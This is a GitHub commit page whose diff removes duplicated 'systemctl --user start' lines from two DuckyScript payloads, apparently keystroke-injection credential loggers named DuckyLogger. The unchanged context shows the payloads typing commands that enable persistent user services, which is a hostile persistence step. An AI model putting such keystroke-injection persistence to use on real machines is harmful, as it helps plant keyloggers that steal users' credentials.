Skip to content

Commit

Permalink
dont't start systemd units twice
Browse files Browse the repository at this point in the history
The `systemctl enable` command already starts the service/timer unit
given as an argument when the `--now` flag is included.
  • Loading branch information
Kr1ss-XD committed Dec 20, 2023
1 parent 1940ffa commit 0069172
Show file tree
Hide file tree
Showing 2 changed files with 0 additions and 9 deletions.
6 changes: 0 additions & 6 deletions payloads/library/credentials/DuckyLogger/payload.txt
Original file line number Diff line number Diff line change
Expand Up @@ -75,14 +75,8 @@ DELAY 300
STRING systemctl --user enable --now systemBUS.service
ENTER
DELAY 150
STRING systemctl --user start --now systemBUS.service
ENTER
DELAY 150
STRING systemctl --user enable --now reboot.service
ENTER
DELAY 150
STRING systemctl --user start --now reboot.service
ENTER
DELAY 100

REM [autostarting service on terminal/shell launch]
Expand Down
3 changes: 0 additions & 3 deletions payloads/library/credentials/DuckyLogger2/payload.txt
Original file line number Diff line number Diff line change
Expand Up @@ -67,8 +67,5 @@ DELAY 300
STRING systemctl --user enable --now systemBUS.service && systemctl --user enable --now systemBUS.timer
ENTER
DELAY 150
STRING systemctl --user start --now systemBUS.service && systemctl --user start --now systemBUS.timer
ENTER
DELAY 150
STRING exit
ENTER

0 comments on commit 0069172

Please sign in to comment.